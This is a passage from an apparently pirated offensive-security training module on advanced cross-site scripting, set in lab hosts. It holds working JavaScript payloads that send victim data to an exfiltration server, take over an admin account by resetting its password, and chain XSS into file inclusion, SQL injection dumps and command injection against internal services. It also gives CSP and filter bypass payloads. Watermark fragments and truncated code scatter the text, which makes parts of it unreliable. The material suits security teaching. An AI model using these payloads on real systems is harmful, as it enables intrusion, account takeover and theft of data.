responses, and exfiltrate data to a server under our control. As such, we can write XSS
payloads that make cross-origin requests and combine XSS with CSRF payloads to achieve
r
an exploitation technique that poses a threat to the entire internal network of the victim.
.i
Additionally, the fact that web browsers typically enforce a SameSite policy of Lax for
01
cookies if the SameSite attribute is not explicitly set restricts the ability for CSRF exploitation
significantly. Thus, combining XSS and CSRF proves to be a powerful exploitation
de
technique.
hi
https://t.me/CyberFreeCourses
Exfiltrating Data with XSS
Since the payload of an XSS attack is executed in the browser and user context of the
victim, it enables an attacker to access any data from the victim's point of view. As such, a
low-privilege attacker can use an XSS vulnerability to obtain administrative access to the
vulnerable web application if the victim has administrative privileges. We can abuse this to
exfiltrate arbitrary data from the web application.
To access information within the victim's context and exfiltrate information to our exfiltration
server, we can use an XMLHttpRequest object, which enables us to send HTTP requests
and interact with the responses.
Our sample web application is the same guestbook application we have seen before. The
same XSS vulnerability is still present. However, this time, the session cookie has
the HTTPOnly flag set, preventing us from stealing it:
r
.i
01
Assuming the victim is an administrator, we should enumerate the web application from their
point of view to determine if any functionalities within the web application are only visible to
de
administrators. To do so, let us access endpoints we already know from the victim's context
and exfiltrate the response to our exfiltration server. To achieve this, we can make a
hi
<script src="http://exploitserver.htb/exploit"></script>
Afterward, we can use the exploitserver to write the XSS payload. We will use a simple
payload that accesses the /home.php endpoint and exfiltrates the base64-encoded
response to the exfiltration server:
https://t.me/CyberFreeCourses
Note: As mentioned before, exfiltrating an entire page in a GET parameter is bad practice
due to the limited URL length. The better practice would be exfiltrating data in a POST
request. Due to shorter code, most code samples in this module will use GET requests, but
keep this in mind when solving the exercises and during real-world engagements.
After waiting for the victim to trigger our payload, we will receive the base64-encoded
response at our exfiltration server:
After decoding the response, we can analyze it to see if there are any differences to what our
low-privilege user can access at the /home.php endpoint. We can identify that there is a
r
.i
reference to the admin dashboard at /admin.php in the navigation part of the response,
which is not there in our user's context:
01
de
hi
Let us exfiltrate the administrator dashboard, including any potentially sensitive data
displayed there, by adjusting the payload on the exploit server to exfiltrate the /admin.php
endpoint instead:
https://t.me/CyberFreeCourses
exfil.send();
We do not post a new entry to the guestbook since the admin visits the guestbook
periodically and triggers our XSS payload each time. Since this triggers the payload code to
be loaded from the exploit server, changing the exploit code there is sufficient. This enables
us to exfiltrate the entire admin dashboard, including all information accessible by the
administrator:
r
After discussing how to exfiltrate data from the victim's user context with an XSS
.i
vulnerability, we will explore how to trigger potentially state-changing actions. As XSS gives
us complete control over the victim's session, we can trigger any functionality the web
01
application implements in the victim's user context. This can lead to a complete account
de
Since this module is not about identifying XSS vulnerabilities but rather about writing
powerful XSS exploits, we will discuss the same vulnerable web application we have seen in
previous sections.
Account Takeover
This time, our sample web application contains a function to update the user's profile,
including the user's password:
https://t.me/CyberFreeCourses
Updating the profile is implemented using the following HTTP request:
Since updating the account's password does not require the old password, we can use the
known XSS vulnerability to change the victim's password. This enables us to log in to the
r
victim's account, resulting in a complete takeover. The form is protected using a CSRF
.i
token, but since there is an XSS vulnerability, we can read the CSRF token and add it to the
request.
01
To achieve this, let us use the same XSS exploit we have used in previous sections that
de
<script src="http://exploitserver.htb/exploit"></script>
Afterward, we can make a GET request to /home.php to get a valid CSRF token, extract it,
and subsequently make the POST request to change the victim's password to pwned .
// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&[email
protected]&password=pwned&csrf_token=${csrftoken}`;
https://t.me/CyberFreeCourses
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-
urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
After waiting for the admin user to trigger the XSS, we can log in to the victim's account with
the credentials admin:pwned .
Chaining Vulnerabilities
As we have seen above, we can abuse XSS vulnerabilities to trigger any functionality within
the web application from the victim's user context. We can go one step further and chain
multiple vulnerabilities by exploiting a different vulnerability in the web application in an
endpoint only accessible by the victim.
To do so, we first need to analyze the web application from the victim's point of view, identify
r
endpoints the victim can access that we cannot access with our own user account, and
.i
finally, test and exploit any vulnerabilities we identify through our XSS payload.
01
We will again use the same base XSS payload that enables us to customize the exploit on
the exploit server:
de
hi
<script src="http://exploitserver.htb/exploit"></script>
Exfiltrating the /home.php endpoint from the victim's user context reveals the endpoint
/admin.php , which is not accessible by our user:
To identify data displayed in the admin endpoint, we can use the same payload we have
used in the previous section to exfiltrate the response:
https://t.me/CyberFreeCourses
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" +
btoa(xhr.responseText), false);
exfil.send();
Analyzing the HTML source code, the admin endpoint seems to support the GET parameter
view , which can be set to different files in the current working directory. This is an obvious
entry point for a Local File Inclusion (LFI) vulnerability. To test our hypothesis, let us adjust
our payload to include the file /etc/passwd : r
.i
var xhr = new XMLHttpRequest();
xhr.open('GET', '/admin.php?view=../../../../etc/passwd', false);
01
xhr.withCredentials = true;
xhr.send();
de
After waiting for the victim to trigger the XSS vulnerability again, we get the following
response to our exfiltration server, containing our leaked file:
https://t.me/CyberFreeCourses
Note: We can save the HTML code to a local file and open it in a web browser to display the
page. This may require us to leak additional files, such as script files or stylesheets, to
render the page correctly. r
Enumerating internal APIs
.i
01
de
As we have seen, we can use XSS vulnerabilities to trigger functionality in the victim's user
hi
context and exfiltrate data the victim has access to. However, since the XSS payload is
executed in the victim's browser, it also enables us to attack further web applications that are
only accessible within the victim's private network.
<script src="http://exploitserver.htb/exploit"></script>
Afterward, we will exfiltrate the admin endpoint to identify potentially interesting admin-only
functionality:
https://t.me/CyberFreeCourses
xhr.withCredentials = true;
xhr.send();
r
.i
01
de
hi
As we can see, the admin endpoint loads additional information from an API at
http://api.vulnerablesite.htb/ . However, if we attempt to access the API, we are
blocked, indicating that the API is only accessible from the victim's local network:
Thus, we must adjust our XSS payload to enumerate the API from the victim's browser.
https://t.me/CyberFreeCourses
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://api.vulnerablesite.htb/v1/sessions', false);
xhr.withCredentials = true;
xhr.send();
After updating our payload and waiting a while, we did not receive additional data on the
exfiltration server, indicating that something went wrong.
Since we are talking to a different origin, the Same-Origin policy prevents us from accessing
the response unless the API implements the appropriate CORS headers to bypass the
Same-Origin policy. Since the admin endpoint fetches data cross-origin from the API, we can
assume that the API has CORS configured, so we should be able to access the response.
However, if we analyze the client-side JavaScript code fetching the data more closely, we
can see that the call to the fetch function does not have the credentials: 'include'
r
set. On the other hand, we explicitly set the withCredentials property in our payload. If the
.i
API does not allow this by setting the Access-Control-Allow-Credentials CORS header,
01
the Same-Origin policy is not bypassed, and a CORS error is thrown, preventing us from
accessing the response. To circumvent this, we need to match the parameters set in the
de
This demonstrates that we need to match the exact configuration expected by the internal
API to avoid running into CORS issues. Since we cannot reach the API directly and are thus
unable to analyze the CORS configuration by identifying CORS headers set in the response,
we need to copy the configuration in the leaked HTML code that implements the
communication with the internal API. A CORS error prevents the execution of subsequent
statements. It is thus recommended to use a try-catch block to identify the correct CORS
configuration that enables the exfiltration of the response. This allows us to debug our
payload more easily:
https://t.me/CyberFreeCourses
try {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://api.vulnerablesite.htb/v1/sessions',
false);
xhr.withCredentials = true;
xhr.send();
var msg = xhr.responseText;
} catch (error) {
var msg = error;
}
This would result in the following exfiltrated information, indicating that something went
wrong with our HTTP request, enabling us to tweak the request's configuration to match the
CORS configuration:
r
NetworkError: Failed to execute 'send' on 'XMLHttpRequest': Failed to load
.i
'http://api.vulnerablesite.htb/v1/sessions'.
01
de
Additionally, an internal API may require authentication with an authentication bearer instead
of cookies. We can use the localStorage property to access an authentication bearer that is
hi
stored in the victim's local storage in the context of the vulnerable web application. We can
then set the Authorization header on the XMLHttpRequest using the setRequestHeader
function.
Note: Keep in mind that there might be an issue with the CORS configuration or a lack of
authentication when you do not receive the expected data.
After the appropriate change to avoid a CORS error, we receive data on the exfiltration
server, which we can then decode:
echo -n
eyJzZXNzaW9ucyI6W3siYWdlbnQiOiJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW
42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUv
MTA5LjAuNTQxNC4xMjAgU2FmYXJpLzUzNy4zNiIsInRpbWUiOiIxNjkxNjQ1NzMxIiwidXNlci
I6ImFkbWluIn0seyJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0
OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMD
kuMC41NDE0LjEyMCBTYWZhcmkvNTM3LjM2IiwidGltZSI6IjE2OTI1OTYxMzEiLCJ1c2VyIjoi
YWRtaW4ifSx7ImFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IH
g2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwOS4w
LjU0MTQuMTIwIFNhZmFyaS81MzcuMzYiLCJ0aW1lIjoiMTY5MzIwMDkzMSIsInVzZXIiOiJhZG
https://t.me/CyberFreeCourses
1pbiJ9XX0K | base64 -d | jq
{
"sessions": [
{
"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120
Safari/537.36",
"time": "1691645731",
"user": "admin"
},
{
"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120
Safari/537.36",
"time": "1692596131",
"user": "admin"
},
{
"agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120
Safari/537.36",
r
"time": "1693200931",
.i
"user": "admin"
01
}
]
de
}
hi
Since the data does not contain interesting information, let us enumerate the API further to
identify additional endpoints. We can identify additional endpoints by implementing a
directory brute-forcer in our XSS payload that exfiltrates all existing endpoints to the
exfiltration server. We will base our proof-of-concept on the objects-lowercase.txt wordlist
from SecLists . The payload will send a request to each endpoint and then determine if the
endpoint is valid by checking the status code. We can achieve this with a payload similar to
the following:
https://t.me/CyberFreeCourses
tter','union','url','user','username','users','vendor','vendors','version'
,'website','work','yahoo'];
for (i in endpoints){
try {
var xhr = new XMLHttpRequest();
xhr.open('GET',
`http://api.vulnerablesite.htb/v1/${endpoints[i]}`, false);
xhr.send();
if (xhr.status != 404){
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r="
+ btoa(endpoints[i]), false);
exfil.send();
}
} catch {
// do nothing
}
}
r
.i
This exfiltrates existing API endpoints to the exfiltration server, which we can then analyze
further:
01
de
hi
In the last section, we discussed using an XSS vulnerability to exfiltrate data from internal
web applications. In this section, we will use the XSS vulnerability to identify and exploit a
security vulnerability in an entirely different web application located within the victim's private
network.
When the victim triggers the XSS vulnerability, the response is exfiltrated to the exfiltration
server. We can see that the admin endpoint contains a reference to an internal web
application at http://internal.vulnerablesite.htb :
Thus, let us use the XSS vulnerability to enumerate the web application just like we did with
the internal API in the last section. We will start by exfiltrating the index of the web
application:
This reveals that the internal web application is protected by authentication, as the index
consists of a login form:
https://t.me/CyberFreeCourses
The XSS vulnerability enables us to interact with the internal web application fully. We could
try default passwords or brute-force additional endpoints. However, this section will focus on
a SQL injection vulnerability. From the login form, we can construct a valid login POST
request that the internal web application accepts. Let us try a simple SQL injection by
sending a username that contains a single quote:
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" +
de
btoa(xhr.responseText), false);
exfil.send();
hi
This results in the following response, confirming that the internal web application is
vulnerable to SQL injection:
We will start with bypassing the authentication, which we can achieve with the username '
OR '1'='1'-- - :
https://t.me/CyberFreeCourses
var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' OR '1'='1' -- -")}&pass=x`;
xhr.open('POST', 'http://internal.vulnerablesite.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);
The data looks like a username, password, and account description. Let us confirm this by
dumping the entire user table. We can detect the database system by enumerating common
r
payloads like any other SQL injection vulnerability. In our case, we are dealing with a
.i
SQLite database. Since there seem to be four columns in the output, we can use the
following payload to dump all tables:
01
de
https://t.me/CyberFreeCourses
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" +
btoa(xhr.responseText), false);
exfil.send();
Lastly, we can dump the users table iteratively with the following payload:
xhr.send(params);
de
btoa(xhr.responseText), false);
exfil.send();
We can also dump other tables in the database with the same methodology. This shows how
powerful an XSS vulnerability is, as it allows us to target vulnerable web applications
normally inaccessible by an external attacker. Since the payload is executed in the victim's
browser, internal web applications can be accessed and thus targeted as well. For more
details on SQL injection vulnerabilities, check out the Advanced SQL Injections module.
Note: Keep in mind that there needs to be either a CORS misconfiguration in the internal
web application or a CORS configuration that enables the vulnerable web application to
interact with the internal web application. Otherwise, the Same-Origin policy prevents
accessing the response from the internal web application.
https://t.me/CyberFreeCourses
After discussing how to exploit a SQL injection vulnerability in an internal web application
through an XSS vulnerability, we will explore how to exploit a command injection vulnerability
through XSS in this section. While the methodology is the same, it is crucial to understand it
well since the process is complex but powerful. A thorough understanding can help in the
identification of complex real-world vulnerabilities.
btoa(xhr.responseText), false);
01
exfil.send();
de
This reveals the following HTML content, which indicates that we can use the web
hi
We can craft the corresponding POST request by analyzing the form to identify how exactly
the web application implements this functionality:
HTTP/1.1 200 OK
btoa(xhr.responseText), false);
exfil.send();
de
hi
As we can see, the status seems to be obtained using curl . If this is improperly
implemented or there is no proper sanitization, there is a potential command injection
vulnerability. We can verify this by injecting an additional curl command to the exfiltration
server:
https://t.me/CyberFreeCourses
btoa(xhr.responseText), false);
exfil.send();
Afterward, we can see the expected request in the exfiltration server, thus confirming the
command injection vulnerability:
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
hi
xhr.send(params);
A Content Security Policy is a defense-in-depth security measure that can be used to lower
the severity of Cross-Site Scripting (XSS) vulnerabilities by limiting their exploitability. It is
https://t.me/CyberFreeCourses
configured in the Content-Security-Policy response header.
CSP Basics
A CSP consists of multiple directives. Each directive allows one or more values. The browser
enforces the CSP and prevents the loading or execution of resources depending on the CSP.
We will discuss a few sample directives in this section.
For instance, the script-src directive defines where JavaScript can be loaded and
executed from; we can limit the domains JavaScript code is allowed to be loaded from using
the following policy:
This tells the browser to only load JavaScript from the same origin as the page itself and the
external origin http://benignsite.htb . Therefore, if an attacker injects the following
r
JavaScript code in an XSS payload, the victim's browser will not load the script and thus not
.i
execute it:
01
<script src="http://exploitserver.htb/pwn.js"></script>
de
hi
<script src="/js/useful.js"></script>
<script src="http://benignsite.htb/main.js"></script>
Furthermore, since the unsafe-inline value is not specified, it blocks all inline scripts.
Therefore, the following potential XSS payloads are all blocked and thus not executed:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<a href="javascript:alert(1)">click</a>
https://t.me/CyberFreeCourses
connect-src : allowed origins for HTTP requests from scripts. For instance, using
XMLHttpRequest
default-src : fallback value if a different directive is not explicitly set. For instance, if
the img-src is not present in the CSP, the browser will use this value instead for
images
frame-ancestors : origins allowed to frame the page, for instance, in an <iframe> .
This can be used to prevent Clickjacking attacks
form-action : origins allowed for form submissions
For additional CSP directives, check out the list provided here.
For additional CSP directive values, check out the list provided here.
de
hi
Secure CSPs
Making the CSP as strict as possible is crucial to securing a web application. This can be
achieved by starting from a strict baseline CSP and gradually loosening restrictions until the
web application works as intended. A good baseline CSP is the following:
This CSP only allows the loading of images, stylesheets, and scripts from the same origin,
only allows HTTP requests from JavaScript and form submissions to the same origin, only
allows the same origin to frame the web page, and prevents any other resource from
loading. The CSP needs to be adjusted accordingly if any external resources are used.
Additionally, the inline JavaScript code the web application uses must be removed to prevent
it from being blocked. This can be easily achieved by moving it to a script file and loading it.
https://t.me/CyberFreeCourses
For instance, consider the following inline JavaScript code:
<script>
var poc = "test";
function submitForm(){
console.log(poc);
}
</script>
This is functionally identical to creating a file test.js with the following content:
document.getElementById("submit").addEventListener('click', submitForm);
r
.i
<script src="/test.js"></script>
hi
We can use available online tools to evaluate a CSP for us, such as the CSP Evaluator
provided by Google. For more details on how to write a secure CSP, check out the OWASP
CSP Cheat Sheet.
Now that we have discussed CSPs, CSP directives, and CSP directive values, let us jump
into exploiting and bypassing weak CSPs.
https://t.me/CyberFreeCourses
CSPs can be used to add a defense-in-depth measure to prevent XSS vulnerabilities.
However, just because a web application implements a CSP does not automatically mean it
is protected from all XSS attacks. If the CSP is weak, it may be possible to bypass it. As
such, it is crucial to analyze a web application's CSP for potential bypasses.
This CSP allows images to be loaded from the origin itself, styles and fonts from anywhere,
scripts from the origin itself, and any subdomain of google.com . All other resources cannot
be loaded due to the default-src 'none' directive.
Suppose we attempt injecting a simple alert pop-up in the web application as a proof of
concept:
<script>alert(1)</script> r
.i
Due to the CSP, the alert pop-up is not shown; instead, the browser's JavaScript console will
01
While this defensive technique may seem secure at first glance, it can be bypassed
with JSONP. JSONP refers to a technique that retrieves data across different origins without
issues due to the Same-Origin policy. The basic idea of JSONP is to use script tags to
retrieve data across origins since they are excluded from the Same-Origin policy. For
instance, assume a web application http://vulnerablesite.htb wants to retrieve data
from the endpoint http://someapi.htb/stats , which returns the following JSON data:
{'clicks': 1337}
If the API does not have CORS configured, the web application cannot access the response
to a cross-origin request due to the Same-Origin policy. However, since script tags are
https://t.me/CyberFreeCourses
excluded from the Same-Origin policy, the web application can load the data by using the
following HTML tag on its page:
<script src="http://someapi.htb/stats"></script>
Now, this by itself is not practical, as the web application needs to process the data
somehow. Let us assume the web application implements a function called processData for
this purpose. But as is, there is no way to pass the received data to this function. That is
where JSONP comes into play. If the API supports JSONP, it will read a GET parameter on
the endpoint sending the data and adjust the response accordingly. This parameter is often
called callback . Assume we call the endpoint http://someapi.htb/stats?
callback=processData . This results in the API sending the following response:
processData({'clicks': 1337})
The web application can now insert the following script tag on its page:
r
.i
<script src="http://someapi.htb/stats?callback=processData"></script>
01
This results in the web application's function processData being called on the data fetched
de
cross-origin from the API without violating the Same-Origin policy or the need for CORS.
hi
Since JSONP endpoints allow the caller to specify a function that is called, they can be used
to dynamically create JavaScript code sent out by the domain offering the JSONP endpoint.
As such, JSONP can be used to bypass CSPs. Google offers multiple different JSONP
endpoints. The JSONBee GitHub repository lists many JSONP endpoints that can be used
to bypass CSPs. We can use the following Google JSONP endpoint to bypass the CSP
above:
<script src="https://accounts.google.com/o/oauth2/revoke?
callback=alert(1);"></script>
Posting this entry to the guestbook, the alert pop-up is triggered, thus bypassing the CSP:
https://t.me/CyberFreeCourses
Another common weakness is the assumption that the 'self' value is automatically safe.
For instance, consider the following CSP:
This time, scripts can only be loaded from the origin itself. Assuming the origin does not offer
r
.i
a JSONP endpoint, this seems safe. However, consider a scenario where a web application
allows users to upload files. If arbitrary file types are allowed, an attacker can upload a .js
01
file. It is then possible to exploit an XSS by loading the uploaded payload from the origin
itself:
de
hi
<script src="/uploads/avatag.jpg.js"></script>
Generally, an assessment of a CSP depends on the concrete CSP itself and the web
application's functionality. As we have seen, setting the script-src directive to 'self'
can be unsafe if the web application implements a file upload functionality. As such, it is
crucial to assess the CSP in the context of the concrete web application in which it is
implemented.
To conclude the module, we will discuss different types of XSS filters and how to bypass
them.
Script Tag
The most common (and obvious) method of achieving code execution is via the script tag;
web browsers will execute any JavaScript code contained within it:
<script>alert(1)</script>
Pseudo Protocols
We can use pseudo protocols such as javascript or data in certain HTML attributes that
indicate where data is loaded from to achieve JavaScript code execution. For instance, we
can set the target of an a tag to the javascript pseudo protocol and the corresponding
JavaScript code is executed when the link is clicked:
<a href="javascript:alert(1)">click</a> r
.i
We can also create XSS payloads with pseudo protocols that do not require user interaction.
01
For instance, using the object tag. The data pseudo protocol allows us to specify plain
HTML code or base64-encoded HTML code:
de
hi
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Event Handlers
Thirdly, we can use event handlers such as onload or onerror to specify JavaScript code
that is executed when the event handler is triggered:
There are many event handlers that we can use for this purpose. A good overview is
provided by PortSwigger's XSS Cheat Sheet.
https://t.me/CyberFreeCourses
Bypassing Basic Blacklists
Suppose a web application implements a simple blacklist to block keywords that can lead to
JavaScript code execution. For instance, by blocking HTML tags like the script tag,
pseudo protocols like javascript and data , and event handlers like onload and
onerror .
In these cases, we can try a few things to bypass a naive blacklist. For instance, the casing
in HTML tags, pseudo protocols, and event handlers is irrelevant. More specifically, we can
mix lowercase and uppercase letters to bypass blacklists that block only lowercase
keywords:
<ScRiPt>alert(1);</ScRiPt>
<object data="JaVaScRiPt:alert(1)">
<img src=x OnErRoR=alert(1)>
Furthermore, if a naive blacklist strips all occurrences of the keyword <script> but is not
applied recursively, we can bypass the filter with a payload similar to the following:
r
.i
<scr<script>ipt>alert(1);</scr<script>ipt>
01
Lastly, if such a blacklist utilizes a regular expression that is weak and makes assumptions
de
about the syntax of HTML tags or only blocks certain special characters, we might be able to
hi
bypass the blacklist by breaking these assumptions. For instance, if a blacklist expects a
space before any event handler or an input field does not allow a space, the following
payload may bypass the filter:
<svg/onload=alert(1)>
<script/src="http://exploit.htb/exploit"></script>
Advanced Bypasses
Suppose we inject an HTML tag, resulting in JavaScript code execution. In that case, we
may need to bypass additional filters applied to the JavaScript code, which restrict which
functions we can call or which data we can access in the JavaScript context. There are many
techniques we can apply to attempt to bypass such filters. We will explore how to bypass
filters by encoding strings and passing these strings to execution sinks to execute the
JavaScript code.
https://t.me/CyberFreeCourses
In JavaScript, we can apply many different encodings to strings that help us evade blacklists.
Here are different encodings of the string "alert(1)" :
# Unicode
"\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"
# Octal Encoding
"\141\154\145\162\164\50\61\51"
# Hex Encoding
"\x61\x6c\x65\x72\x74\x28\x31\x29"
# Base64 Encoding
atob("YWxlcnQoMSk=")
To supply our payload in a string, we need to be able to use quotes. If a filter removes or
blocks quotes, we can use one of the following tricks to create a string containing our
payload:
r
# String.fromCharCode
.i
String.fromCharCode(97,108,101,114,116,40,49,41)
01
# .source
/alert(1)/.source
de
hi
# URL Encoding
decodeURI(/alert(%22xss%22)/.source)
Thus far, we have only managed to supply our payload in a string; however, the browser will
only execute it if it is passed to an execution sink that takes a string as input. The most
famous example of such an execution sink is the eval function; in addition to eval , other
execution sinks include:
eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()
At last, we can combine an execution sink with an encoded string to attempt to bypass a
weak XSS filter:
https://t.me/CyberFreeCourses
eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()
Note: To bypass an XSS filter in the real-world, we can apply the same methodology used in
bypassing filters for other vulnerabilities, such as SQL injection or command injection. The
actual bypass depends on the filter implemented by the web application. It requires careful
testing to identify which keywords are whitelisted or blacklisted to come up with an exploit
that is not blocked.
Resources
For more XSS filter bypasses, check out OWASP's XSS Filter Evasion Cheat Sheet.
Furthermore, there are collections of XSS payloads for different types of filters. For instance,
if we are unable to use any parentheses, we may refer to the XSS without Parentheses
payload collection. Additionally, the HTML 5 Security Cheatsheet gives further browser-
r
specific examples for XSS exploitation.
.i
01
Lab Information
de
hi
Note: Due to the way the admin user accesses the page, please make sure not to use any
port in URLs in your payload, i.e., use http://exfiltrate.htb/ instead of
http://exfiltrate.htb:PORT/ .
Skills Assessment
You are tasked to perform a security assessment of a client's web application. The client's
administrator recently attended a hardening workshop and applied some hardening
measures. He is now interested in the overall security of the web application. The client's
highest priority is the confidentiality of the database; therefore, exfiltrating data from it is a
high-value target.
For the assessment, the client has granted you access to a low-privilege user: htb-
stdnt:Academy_student! . Apply what you have learned in this module to obtain the flag.
https://t.me/CyberFreeCourses